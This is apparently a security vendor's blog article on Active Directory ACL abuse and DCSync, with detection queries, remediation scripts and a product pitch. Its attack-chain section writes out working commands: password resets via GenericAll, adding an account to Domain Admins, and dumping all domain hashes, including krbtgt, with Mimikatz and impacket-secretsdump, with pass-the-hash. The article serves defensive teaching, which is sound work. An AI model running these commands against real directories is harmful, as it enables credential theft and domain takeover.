ACL Abuse and DCSync: The Silent Paths to Domain Admin

What Is ACL Abuse and DCSync in Active Directory?

ACL abuse and DCSync rely on legitimate Active Directory permissions that were granted too broadly. Active Directory objects - users, groups, computers, OUs, and GPOs - all have Access Control Lists (ACLs) that define who can read, modify, or control them. When these ACLs are misconfigured, they create silent privilege escalation paths that bypass traditional security boundaries.

The two most critical ACL patterns are broad object control such as GenericAll, and replication rights on the domain naming context that let an attacker impersonate a replication client. Both can be held by accounts that have no business reason to hold them, and both can lead directly to domain compromise.

Unlike a software exploit, ACL abuse does not depend on a CVE or missing patch. The attacker is abusing access that AD already honors. That is exactly why these paths are dangerous: they are easy to miss in a vulnerability-centric security program and they often survive patch cycles untouched.

How It Works

Every AD object has a Security Descriptor containing a Discretionary ACL (DACL). Each entry in the DACL is an Access Control Entry (ACE) that grants or denies specific rights to a security principal.

Common Dangerous ACE Types

The DCSync Attack

DCSync abuses the legitimate AD replication protocol rather than code execution on a domain controller. Domain controllers replicate data through the directory replication service, and the same control-access rights can be delegated to other security principals on the domain naming context root.

In practice, the rights that matter most are:

• DS-Replication-Get-Changes
• DS-Replication-Get-Changes-All
• in some environments, DS-Replication-Get-Changes-In-Filtered-Set

Microsoft documents DS-Replication-Get-Changes-All as the extended right that allows replication of secret domain data. Microsoft also documents that writable domain replicas require DS-Replication-Get-Changes, DS-Replication-Get-Changes-All, and DS-Replication-Get-Changes-In-Filtered-Set on the domain NC root. That is why a serious review of DCSync exposure should check the full replication-right set, not only one GUID.

DCSync does not require interactive logon to a DC and does not require code execution on the DC itself. It can look like legitimate replication traffic if you are not auditing directory access carefully. It is not inherently logless, though: with the right audit policy and SACL coverage, domain controllers can emit 4662 events for the access, and replication-related audit subcategories add more context during troubleshooting.

The Attack Chain

Step 1 - Enumerate Dangerous ACLs

# BloodHound - collect AD data and map the full ACL graph
bloodhound-python -u [email protected] -p password \
  -ns 10.10.0.1 -d corp.local -c All --zip

# In BloodHound: Run "Find Principals with DCSync Rights"
# And: "Shortest Paths to Domain Admins from Owned Principals"

# Manual: Find accounts with replication rights on the domain root
$dcsyncRights = @(
  "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",  # DS-Replication-Get-Changes
  "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2",  # DS-Replication-Get-Changes-All
  "89e95b76-444d-4c62-991a-0facbeda640c"   # DS-Replication-Get-Changes-In-Filtered-Set
)

$domainDN = (Get-ADDomain).DistinguishedName
$acl = Get-Acl "AD:\$domainDN"
$acl.Access | Where-Object {
  $_.ObjectType -in $dcsyncRights -and
  $_.AccessControlType -eq "Allow" -and
  $_.IdentityReference -notmatch "Domain Controllers|ENTERPRISE DOMAIN CONTROLLERS|Read-only Domain Controllers"
} | Select-Object IdentityReference, ActiveDirectoryRights, ObjectType

Step 2 - Exploit GenericAll on a User

# Reset target admin's password using GenericAll
$secPwd = ConvertTo-SecureString "NewP@ss1234!" -AsPlainText -Force
Set-ADAccountPassword -Identity "targetadmin" -Reset -NewPassword $secPwd

# Or force a Kerberoastable SPN on the target (GenericWrite)
Set-ADUser -Identity "targetadmin" `
  -ServicePrincipalNames @{Add="http/fakeservice"}
# Now Kerberoast the account and crack the hash offline

Step 3 - Exploit GenericAll on a Group

# Add yourself to Domain Admins using GenericAll on the group
Add-ADGroupMember -Identity "Domain Admins" -Members "attacker"

Step 4 - Execute DCSync

# Mimikatz DCSync - dump all hashes
lsadump::dcsync /domain:corp.local /all /csv
lsadump::dcsync /domain:corp.local /user:krbtgt

# Impacket from Linux - no code execution on DC required
impacket-secretsdump -just-dc corp.local/compromised_user:[email protected]

# Pass-the-hash if password is unknown
impacket-secretsdump -hashes "aad3b435b51404ee:NTLM_HASH" \
  corp.local/[email protected] -just-dc-user krbtgt

Step 5 - Golden Ticket and Persistence

With the KRBTGT hash from DCSync, the attacker forges a Golden Ticket - granting unlimited Kerberos access to any resource in the domain until KRBTGT is rotated twice.

Detection

Windows Event IDs

SIEM Detection Queries (Elastic KQL)

DCSync detection - account exercising replication rights on a DC:

event.code: "4662" AND
winlog.event_data.Properties: ("*1131f6ad*" OR "*1131f6aa*" OR "*89e95b76*") AND
NOT winlog.event_data.SubjectUserName: ("*$" OR "MSOL_*" OR "AAD_*") AND
NOT winlog.event_data.SubjectDomainName: "NT AUTHORITY"

Unexpected privileged group membership change:

event.code: ("4728" OR "4732" OR "4756") AND
winlog.event_data.TargetUserName: (
  "Domain Admins" OR "Enterprise Admins" OR "Schema Admins" OR "Backup Operators"
) AND
NOT winlog.event_data.SubjectUserName: ("*admin*" OR "SYSTEM")

💡 Tip: Event 4662 on replication GUIDs is a high-confidence DCSync signal only if you maintain an allow-list for legitimate sync tooling and service accounts. It is dangerous precisely because some environments do have a small number of documented non-DC principals with replication rights.

Remediation

⚠️ Critical: Replication rights on non-DC accounts should be treated as exceptional and documented. Remove them immediately when there is no explicit business requirement, and investigate how they were granted.

1. Remove DCSync Rights

$domainDN = (Get-ADDomain).DistinguishedName
$acl = Get-Acl "AD:\$domainDN"

$replicationGuids = @(
  [GUID]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",
  [GUID]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2",
  [GUID]"89e95b76-444d-4c62-991a-0facbeda640c"
)

$acesToRemove = $acl.Access | Where-Object {
  $_.ObjectType -in $replicationGuids -and
  $_.IdentityReference -notmatch "Domain Controllers|ENTERPRISE|Read-only Domain Controllers"
}

foreach ($ace in $acesToRemove) {
  $acl.RemoveAccessRule($ace)
  Write-Host "Removed replication right from: $($ace.IdentityReference)"
}
Set-Acl "AD:\$domainDN" $acl

2. Harden AdminSDHolder

The AdminSDHolder object provides the template permissions for protected groups and accounts, and the SDProp process on the PDC Emulator compares and reapplies those permissions every 60 minutes by default:

$adminSDHolderDN = "CN=AdminSDHolder,CN=System,$((Get-ADDomain).DistinguishedName)"
(Get-Acl "AD:\$adminSDHolderDN").Access |
  Where-Object { $_.IdentityReference -notmatch "Domain Admins|Enterprise Admins|SYSTEM" } |
  Format-Table IdentityReference, ActiveDirectoryRights
# Remove any unexpected entries found

3. Audit Critical Object ACLs

$criticalObjects = @(
  (Get-ADDomain).DistinguishedName,
  "CN=AdminSDHolder,CN=System,$((Get-ADDomain).DistinguishedName)",
  (Get-ADGroup "Domain Admins").DistinguishedName
)

foreach ($obj in $criticalObjects) {
  $acl = Get-Acl "AD:\$obj"
  $dangerous = $acl.Access | Where-Object {
    $_.ActiveDirectoryRights -match "GenericAll|WriteDACL|WriteOwner|GenericWrite" -and
    $_.IdentityReference -notmatch "Domain Admins|Enterprise Admins|SYSTEM|NT AUTHORITY"
  }
  if ($dangerous) {
    Write-Warning "DANGEROUS ACE on $obj"
    $dangerous | Format-Table IdentityReference, ActiveDirectoryRights
  }
}

4. Enable Required Audit Policy

# Required for Event 4662 visibility when matching SACLs exist
auditpol /set /subcategory:"Directory Service Access" /success:enable

# Useful for tracking changes to directory objects such as AdminSDHolder
auditpol /set /subcategory:"Directory Service Changes" /success:enable

How EtcSec Detects This

EtcSec maps the complete ACL graph of your Active Directory environment and automatically identifies dangerous permission paths.

DCSYNC_CAPABLE identifies every non-DC account holding replication rights on the domain root, with special emphasis on principals that can request secret domain data.

ACL_GENERICALL flags accounts with GenericAll permissions over high-value targets - users, groups, computers, and OUs adjacent to Tier 0 administrative access.

PATH_ACL_TO_DA identifies multi-hop ACL chains where a low-privileged account can reach Domain Admin through a sequence of ACE abuses - paths that are invisible without graph analysis.

ℹ️ Note: EtcSec audits all ACLs automatically on every scan. Run a free audit to discover dangerous permission paths in your environment.

Frequently Asked Questions

How do attackers discover ACL misconfigurations? BloodHound is the most common graph-analysis tool for this problem - it collects AD data, maps object relationships, and highlights shortest privilege-escalation paths. Defenders should use the same approach before attackers do.

What is the difference between DCSync and compromising a Domain Controller? DCSync abuses the legitimate replication interfaces remotely. The attacker does not need interactive code execution on the DC if the account already has the required control-access rights on the domain naming context.

How do accounts accidentally get DCSync rights? The most common sources are directory synchronization tooling, legacy identity integrations, backup or migration projects, and delegated ACL changes that were never revisited. Some of these accounts are legitimate; the problem is when the right remains broad, undocumented, or inherited farther than intended.

Validation Priorities

ACL abuse should be reviewed in the same order an operator would exploit it: the domain root, AdminSDHolder, privileged groups, high-value service accounts, and any OU that influences Tier 0 systems. Validate not only direct GenericAll and replication rights, but also WriteDACL, WriteOwner, inherited ACEs, and nested group membership that silently recreates the same privilege through another path. A remediation is only complete when the visible permission, the inheritance chain, and the delegation model that reintroduced it are all closed together.

Neighbor Paths That Keep the Risk Alive

In mature domains, over-permissive ACLs rarely exist alone. They usually sit next to Active Directory Attack Paths to Domain Admin, weak group design, writable GPO paths, or delegation settings that let a low-privilege identity recover administrative access through a different object. That is why ACL cleanup should include a graph review, not just a permissions diff on the first flagged object. If your team removes one ACE but leaves a nested group, delegated OU, or inherited parent ACL untouched, the practical path to DCSync often survives. Review the surrounding exposure with Dangerous Group Nesting: Hidden Paths to Domain Admin, Active Directory Trust Attacks: From Child Domain to Forest Root, Kerberos Delegation Attacks: From Unconstrained to RBCD Abuse, and GPO Misconfigurations: How Group Policy Becomes an Attack Vector.

Related Reading

• Active Directory Attack Paths to Domain Admin
• Dangerous Group Nesting: Hidden Paths to Domain Admin
• Active Directory Trust Attacks: From Child Domain to Forest Root
• Kerberos Delegation Attacks: From Unconstrained to RBCD Abuse
• GPO Misconfigurations: How Group Policy Becomes an Attack Vector

Evidence to Capture Before Remediation

Before removing any permission, capture the full evidence chain that proves how the path works. Export the current ACEs, document whether the rights are inherited or direct, identify the group nesting that grants the privilege, and map which Tier 0 systems or identities become reachable once the permission is abused. For DCSync specifically, record whether the account holds Replicating Directory Changes, Replicating Directory Changes All, or Replicating Directory Changes In Filtered Set, and whether those rights come from a delegated group that administrators may forget to review later. For broad ACL abuse, collect the parent OU and container permissions as well, because many dangerous ACEs return after cleanup when inheritance still grants the path higher in the tree.

Remediation Sequence That Actually Closes the Path

The most effective remediation sequence starts by removing the privilege bridge, not by cleaning up the visible symptom in isolation. If a low-privilege group reaches Domain Admin because of a nested group, inherited ACL, and delegated OU control, close all three elements in the same change window. Recheck AdminSDHolder, protected groups, and service account delegation so the same operator cannot regain control by pivoting to a nearby object. After the ACL change, validate with graph analysis or repeat enumeration that the path is gone from the attacker perspective, not just from the administrator view in one object picker. Finally, log the reason for the delegation change and the owner of the new state, because undocumented exceptions are how these rights quietly return after the next migration, acquisition, or troubleshooting request.

Verification Checklist After ACL Cleanup

Once the permissions change is deployed, rerun the same enumeration or BloodHound path analysis that proved the issue originally. Verify that the dangerous ACE is gone, that the granting group no longer confers the right through nesting, and that no inherited parent object recreates the same privilege on the next refresh. For DCSync findings, test that the identity truly lost the relevant replication rights across the full set you care about, not just one GUID. A short post-change validation prevents the classic failure mode where administrators remove the visible ACE, declare success, and discover later that an adjacent delegation path kept the abuse chain alive.